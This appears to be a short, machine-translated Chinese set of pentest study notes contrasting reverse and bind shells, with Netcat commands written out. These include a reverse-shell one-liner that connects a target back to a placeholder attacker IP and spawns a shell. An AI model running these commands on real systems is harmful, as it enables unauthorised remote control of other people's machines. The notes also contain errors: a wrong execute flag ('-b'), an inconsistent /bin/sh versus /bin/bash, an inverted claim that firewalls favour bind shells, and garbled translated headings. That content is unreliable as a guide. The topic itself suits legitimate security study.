反向 Shell 与绑定 Shell

Shell 只是获取和维护对目标计算机的访问权限的一种方式。最常见的 shell 类型是反向 shell,其中受害计算机连接回我们。用于完成 rev-shell 的常用工具是 Netcat

Rev 贝壳

为了使 rev shell 工作,攻击设备需要侦听特定端口上的连接。在 Netcat 中,我们可以使用以下命令告诉设备监听选定的端口:nc -lvp 4444

  • -l 用于监听
  • -v 表示详细
  • -p 用于端口
    通过此命令,我们告诉 Netcat 监听我们机器的端口 4444。

在目标上:

为了让目标连接到我们的监听器,我们必须在目标上发送执行命令来建立连接。例如:如果目标安装了netcat(或者我们有一些如何将netcat安装到目标机器上),我们可以使用它来连接回我们的机器。

在这种情况下,目标上的命令将如下所示:

1
nc <attacking IP> 4444 -e /bin/sh

在此命令中,目标设备上的 nc 创建一个返回攻击 IP 的 TCP 连接,并使用 -e 标志执行 shell (/bin/bash)(该 shell 在目标设备上执行)。

绑定外壳

绑定 shell 本质上是rev shell 的反向操作。在绑定 shell 中,我们在目标上打开一个端口进行侦听,并从攻击者处建立到该地址的 TCP 连接。

shell 执行仍然来自目标设备

1
2
3
4
# Attacking command (example)
nc <target IP> 4444
# Target command (ex)
nc -lvp 4444 -b /bin/bash

绑定 shell 在外部笔测试期间更常用,因为它更容易连接到目标(由于防火墙和其他使外部网络访问复杂化的因素)。

[!我以前的笔记(在文本中链接)]